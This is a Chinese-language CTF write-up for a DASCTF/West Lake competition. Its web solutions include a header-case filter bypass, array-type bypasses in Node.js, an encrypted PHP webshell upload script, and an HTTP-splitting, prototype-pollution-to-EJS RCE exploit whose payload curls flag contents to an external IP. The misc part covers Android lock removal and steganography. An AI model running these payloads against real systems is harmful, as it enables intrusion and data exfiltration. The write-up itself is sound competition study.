这次西湖的题量对于人数较少的队伍来说还是蛮多的,感觉题目蛮魔幻的,做出来就感觉是非预期出的(量子态西湖)比赛ban的挺严的说,不过收获还是蛮大的,也给队伍出了不少力,累挺~~
#Web
扭转乾坤
题目描述:
在实际产品场景中常见存在多种中间件的情况,这时如果存在某种拦截,可以利用框架或者中间件对于RFC标准中实现差异进行绕过。注意查看80端口服务
解题过程:
这题做的很玄幻,一开始以为需要什么特殊的上传姿势,但是全都403 Forbidden
,仔细审了一下题,考点估计就在中间件了。
简单试探了一下,发现
发现multipart/form-data
被ban了,有很明显的提示的意思,试着去查阅的multipart/form-data
相关的知识点,就找到一篇这样的文章
在文章里发现了对于Java来说,⽀持参数名的⼤⼩写不敏感的写法。而HTTP协议中的Content-Type
头部信息是大小写不敏感的,所以可以对multipart/form-data
大小写bypass
Node Magical Login
题目描述:
一个简单的用nodejs写的登录站点(貌似暗藏玄机)
解题过程:
这题给了源码,controller.js
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 const fs = require ("fs" );const SECRET_COOKIE = process.env .SECRET_COOKIE || "this_is_testing_cookie" const flag1 = fs.readFileSync ("/flag1" )const flag2 = fs.readFileSync ("/flag2" )function LoginController (req,res ) { try { const username = req.body .username const password = req.body .password if (username !== "admin" || password !== Math .random ().toString ()) { res.status (401 ).type ("text/html" ).send ("Login Failed" ) } else { res.cookie ("user" ,SECRET_COOKIE ) res.redirect ("/flag1" ) } } catch (__) {} } function CheckInternalController (req,res ) { res.sendFile ("check.html" ,{root :"static" }) } function CheckController (req,res ) { let checkcode = req.body .checkcode ?req.body .checkcode :1234 ; console .log (req.body ) if (checkcode.length === 16 ){ try { checkcode = checkcode.toLowerCase () if (checkcode !== "aGr5AtSp55dRacer" ){ res.status (403 ).json ({"msg" :"Invalid Checkcode1:" + checkcode}) } }catch (__) {} res.status (200 ).type ("text/html" ).json ({"msg" :"You Got Another Part Of Flag: " + flag2.toString ().trim ()}) }else { res.status (403 ).type ("text/html" ).json ({"msg" :"Invalid Checkcode2:" + checkcode}) } } function Flag1Controller (req,res ){ try { if (req.cookies .user === SECRET_COOKIE ){ res.setHeader ("This_Is_The_Flag1" ,flag1.toString ().trim ()) res.setHeader ("This_Is_The_Flag2" ,flag2.toString ().trim ()) res.status (200 ).type ("text/html" ).send ("Login success. Welcome,admin!" ) } if (req.cookies .user === "admin" ) { res.setHeader ("This_Is_The_Flag1" , flag1.toString ().trim ()) res.status (200 ).type ("text/html" ).send ("You Got One Part Of Flag! Try To Get Another Part of Flag!" ) }else { res.status (401 ).type ("text/html" ).send ("Unauthorized" ) } }catch (__) {} } module .exports = { LoginController , CheckInternalController , Flag1Controller , CheckController }
1 2 3 4 5 6 7 8 9 10 11 12 function LoginController(req ,res ) { try { const username = req.body.username const password = req.body.password if (username !== "admin" || password !== Math . random() .to String() ) { res.status(401 ).type ("text/html" ).send("Login Failed" ) } else { res.cookie("user" ,SECRET_COOKIE) res.redirect("/flag1" ) } } catch (__) {} }
可以知道flag1的获取方法就是访问/flag1目录并构造一个cookie
flag1: DASCTF{873803822
在controller.js 同样知道了flag2的获取方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 function CheckController(req ,res ) { let checkcode = req.body.checkcode?req.body.checkcode:1234 ; console.log(req.body) if (checkcode.length === 16 ){ try { checkcode = checkcode.to LowerCase() if (checkcode !== "aGr5AtSp55dRacer" ){ res.status(403 ).json({"msg" :"Invalid Checkcode1:" + checkcode}) } }catch (__) {} res.status(200 ).type ("text/html" ).json({"msg" :"You Got Another Part Of Flag: " + flag2.to String() .trim() }) }else { res.status(403 ).type ("text/html" ).json({"msg" :"Invalid Checkcode2:" + checkcode}) } }
这里有两个判断:一个是checkcode的长度强等于16;一个是在经过toLowerCase()
全转换为小写之后要与
aGr5AtSp55dRacer
相等。
可以使用数组来bypass
构建checkcode
1 2 3 4 {"checkcode" :["a" ,"G" ,"r" ,"5" ,"A" ,"t" ,"S" ,"p" ,"5" ,"5" , "d" ,"R" ,"a" ,"c" ,"e" ,"r" ]}
在main.js
1 2 3 4 5 6 7 app.get ("/flag2" ,(req,res ) => { controller.CheckInternalController (req,res) }) app.post ("/getflag2" ,(req,res )=> { controller.CheckController (req,res) })
这里GET类型访问/flag2输入验证码抓包后输入构造好的checkcode
获取到flag2:77244565647131723193036}
flag:DASCTF{87380382277244565647131723193036}
但是在测试中发现了一个比较简单的数组bypass,满足长度为16即可
1 2 3 {"checkcode":[1,2,3,4 ,5,6,7,8 ,9,10,11,12 ,13,14,15,16 ] }
这里应该是出题人没限制好
unusual php
解题过程:
访问给的链接可以获得部分源码:
1 2 3 4 5 6 7 8 <?php if ($_GET ["a" ]=="upload" ){ move_uploaded_file ($_FILES ['file' ]["tmp_name" ], "upload/" .$_FILES ['file' ]["name" ]); }elseif ($_GET ["a" ]=="read" ) { echo file_get_contents ($_GET ["file" ]); }elseif ($_GET ["a" ]=="version" ) { phpinfo (); }
发现能够上传还能读文件
我们这里读一下/var/www/html/index.php
发现存在乱码,应该是写了一个拓展加解密,查看phpinfo()
注意编号:20190902
读取/proc/self/maps,搜索20190902
利用伪协议读取.so文件,并保存为.so文件
对其进行反编译,找到Rc4加密的密钥“abcsdfadfjiweur”
对一开始拿到的index.php进行解密验证一下
密钥正确
编写一句话木马进行加密
写一个上传脚本
1 2 3 4 5 6 7 8 9 10 11 import base64import requestsurl = "http://80.endpoint-e3b2218dc1d446008a7cacc77c3d9bee.ins.cloud.dasctf.com:81/?a=upload" data = base64.b64decode("473xeG4d+1FXOOiInKCA0rVEAkBL0stSocHDxQ==" ) file = {'file' : ('TWe1v3.php' ,data)} s = requests.session() re_content = s.post(url=url,files=file) print (re_content.text)
蚁剑链接:
原本是需要使用chmod来提升/flag权限的,但是复现是共享端口,别人已经提完权限了,直接读取就好
real_ez_node
解题过程:
审源码:
NodeJS 中 Unicode 字符损坏导致的 HTTP 拆分攻击。然后存在然后存在safeobj.expend进行原型链污染,导致命令执行,接着原型链污染打ejs。constructor.prototype.outputFunctionName
绕过那个__proto__
参考
https://xz.aliyun.com/t/12053#toc-17和https://xz.aliyun.com/t/2894
构建exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 import requestsimport urllib.parsepayload = ''' HTTP/1.1 POST /copy HTTP/1.1 Host: 127.0.0.1 Pragma: no-cache Cache-Control: no-cache Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Content-Type: application/json Connection: close Content-Length: 168 {"constructor.prototype.outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('curl 101.43.139.243:8081/`cat /f*|base64`');var __tmp2"} GET / HTTP/1.1 test:''' .replace("\n" , "\r\n" )def payload_encode (raw ): ret = u"" for i in raw: ret += chr (0x0100 + ord (i)) return ret payload = payload_encode(payload) print (payload)r = requests.get( 'http://3000.endpoint-9552f7133e68401e95e14dbecd1ab348.m.ins.cloud.dasctf.com:81/curl?q=' + urllib.parse.quote( payload)) print (r.text)
运行exp,自己的vps开启端口监听
1 2 /REFTQ1 RGezYzMzgzOTAzNjA4 OTQzNTkyMTQ4 MTIwMDg1 MjQyMjk1 fQo= DASCTF{63383903608943592148120085242295 }
#Misc
机你太美
解题过程:
修改文件后缀后,7z解压后,夜神模拟器导入vmdk
删除pin值
参考文章:https://www.cnblogs.com/Zev_Fung/p/14192545.html
删除/data/system/locksettings.db即可
1 rm /data/ system/locksettings.db
重启进入,发现安装有QQ和Skred
打开Skred发现聊天记录
发现聊天记录传输了⽂件,根据skred的存储文件的位置,可以直接定位
1 /data/ data/mobi.skred.app/ files/conversations
使⽤adb pull来提取⽂件
1 adb pull /data/data/mobi.skred.app/files/conversations/9f817126-eabd-4c5c-9b47 -bebe04545ba0/50. zip D:\桌面\CTF\西湖论剑2023 \jntm-update\dasctf
其他文件类似操作提取即可
解压压缩包发现存在解压密码,可能存在两张图片里,图片可能采取了隐写之类的隐藏信息的方式
使用stegslove打开45.png,在Alpha plane处发现信息,写脚本提取其二进制信息
1 2 3 4 5 6 7 8 9 10 11 12 from PIL import Imageimg = Image.open ("45.png" ) for i in range (img.width): for j in range (img.height): pixl = img.getpixel((m,n)) if (pixl[3 ] == 255 ): print (1 ,end='' ) else : print (0 ,end='' ) print ("_______________" )
进行编码转换一下
1 e01544a9333ef62a3aa27357eb52ea8a
得到解压密码,解压50.zip,获得一个flag文件,记事本打开为一串乱码,猜测可能是啥加密,信息应该在75.jpg上面
根据赛方放出的hint3:在线exif
试着查看一下75.jpg的exif信息,这里我使用的是EXIF信息查看器 (tuchong.com)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 EXIF信息摘要 模式 曝光模式:Aperture-priority AE, 测光模式:Multi-segment, 曝光补偿:0 曝光 光圈:4.0, 快门:1/250秒, ISO200 焦距 50.0 mm (35 mm equivalent: 80.9 mm), 视角:25.1 deg 色彩 白平衡:Auto, 色彩空间:sRGB File FileType JPEG FileTypeExtension jpg MIMEType image/jpeg ExifByteOrder Little-endian (Intel, II) ImageWidth 3888 ImageHeight 2592 EncodingProcess Baseline DCT, Huffman coding BitsPerSample 8 ColorComponents 3 YCbCrSubSampling YCbCr4:2:2 (2 1 ) IFD0 方向 Horizontal (normal) X分辨率 72 Y分辨率 72 分辨率单位 inches YCbCr定位 Co-sited ExifIFD 曝光时间 1 /250 光圈值 4.0 曝光程序 Aperture-priority AE ISO 200 Exif版本 0221 ComponentsConfiguration Y, Cb, Cr, - 快门速度值 1 /250 光圈值 4.0 曝光补偿 0 测光模式 Multi-segment 闪光灯 Off, Did not fire 焦距 50.0 mm 用户注释 XOR DASCTF2022 SubSecTime 39 SubSecTime原始 39 SubSecTime数码化 39 Flashpix版本 0100 色彩空间 sRGB Exif图像宽度 3888 Exif图像高度 2592 焦平面X轴分辨率 4438.356164 焦平面Y轴分辨率 4445.969125 焦平面分辨率单位 inches CustomRendered Normal 曝光模式 Auto 白平衡 Auto 场景Capture类型 Standard InteropIFD Interop索引 R98 - DCF basic file (sRGB) Interop版本 0100 IFD1 压缩 JPEG (old-style) X分辨率 72 Y分辨率 72 分辨率单位 inches 缩略图偏移 8412 缩略图长度 19629 ThumbnailImage (Binary data 19629 bytes, use -b option to extract) Composite 光圈 4.0 图像尺寸 3888x2592 Megapixels 10.1 35mm等效因子 1.6 快门速度 1 /250 (最小)模糊圈 0.019 mm 视角 25.1 deg 35mm等效焦距 50.0 mm (35 mm equivalent: 80.9 mm) 超焦距 33.67 m 亮度值 11.0
可以看到用户注释为XOR DASCTF2022
对flag文件进行XOR
获得flag:DASCTF{fe089fecf73daa9dcba9bc385df54605}
#写在后面
这次比赛全程投入,做的很累,不过收获还是很大的,也很遗憾,一个学校只能进入决赛一只队伍,想去线下和很多师傅见面的,这次是没机会去杭州了,不过能去线下的机会多着呢!不急,认识蛮久了,就差线下瞅瞅了哈哈哈哈